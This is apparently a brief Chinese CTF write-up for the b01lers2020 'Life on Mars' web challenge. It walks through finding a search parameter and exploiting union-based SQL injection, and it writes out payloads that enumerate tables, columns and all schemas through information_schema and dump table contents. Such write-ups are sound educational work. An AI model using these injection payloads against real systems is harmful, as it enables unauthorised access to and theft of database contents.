[b01lers2020]Life on Mars

点进去可以看见是类似于日记一样的

起初我以为是那种唬人的，flag在每个主题里面，NO

扫描目录，无东西

看源码，无hint

通过抓包跳转发现有东西

有参数！

把search改为1会回显1，改为2还是1，于是在想利用之前那个地点来试试可不可以联合注入

 发现成功回显了1，2，看来这就是一个注入题目了，试试database()

数据库aliens

 union select 1,group_concat(table_name) from information_schema.tables where table_schema='aliens'

表名amazonis_planitia,arabia_terra,chryse_planitia,hellas_basin,hesperia_planum,noachis_terra,olympus_mons,tharsis_rise,utopia_basin

union select 1,group_concat(column_name) from information_schema.columns where table_name='xxxx'各个表都查一下

字段都是id,name,description

/query?search=amazonis_planitia+union+select+1,group_concat(id,0x3a,name,0x3a,description)+from+aliens.amazonis_planitia

结果这些字段一个都没有，说明不是这个数据库。。。。。。

/query?search=amazonis_planitia+union+select+1,group_concat(schema_name)+from+information_schema.schemata

照着之前办法在alien_code数据库里面找即可 

学到了可以这么查所有的数据库信息，之前都没碰到过……

MySQL注入涉及的information_schema库讲解_Regenwald的博客-CSDN博客